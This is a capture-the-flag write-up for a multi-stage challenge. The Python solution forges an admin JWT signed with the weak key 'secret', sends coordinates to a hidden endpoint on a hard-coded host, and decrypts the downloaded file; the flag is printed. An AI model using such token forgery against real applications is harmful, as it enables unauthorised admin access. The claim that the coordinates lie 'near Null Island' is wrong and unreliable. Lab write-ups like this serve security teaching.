Overview
This multi-stage challenge requires accessing an admin dashboard, validating coordinate grids using geohash algorithms, downloading an encrypted binary, and decrypting it.
Reconnaissance
Testing the web application endpoints reveals a JWT cookie structure. The app signs the cookie with a weak signature key (secret). Re-signing the cookie with custom values allows us to elevate privileges to admin.
Exploitation Strategy
Once in the admin dashboard, we uncover a hidden debug endpoint: /api/v3/geohash-debug-2025. This endpoint expects a set of coordinates that fall inside the geohash cell u000.
By sending valid coordinates near Null Island (45.08° N, 0.17° E) and downloading the file /final.bin, we can decrypt it using AES-128-CBC with the key u000 padded with null bytes.
Solution Code
import requests
import jwt
from Crypto.Cipher import AES
# Forge JWT
token = jwt.encode({"role": "admin", "username": "admin"}, "secret", algorithm="HS256")
cookies = {"token": token}
# Validate geohash
lat, lon = 45.087890625, 0.17578125
coords = [
[lat - 0.001, lon - 0.001],
[lat - 0.001, lon + 0.001],
[lat + 0.001, lon + 0.001],
[lat + 0.001, lon - 0.001],
]
r = requests.post("http://138.199.163.92:12973/api/v3/geohash-debug-2025", cookies=cookies, json={"coordinates": coords})
# Download and decrypt
enc = requests.get("http://138.199.163.92:12973/final.bin").content
key = b'u000' + b'\x00' * 12
iv = enc[:16]
ct = enc[16:]
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ct).rstrip(b'\x00').decode('utf-8')
print(plaintext)Flag
Kaal{u000_geohash_aes_cbc_decrypted_flag}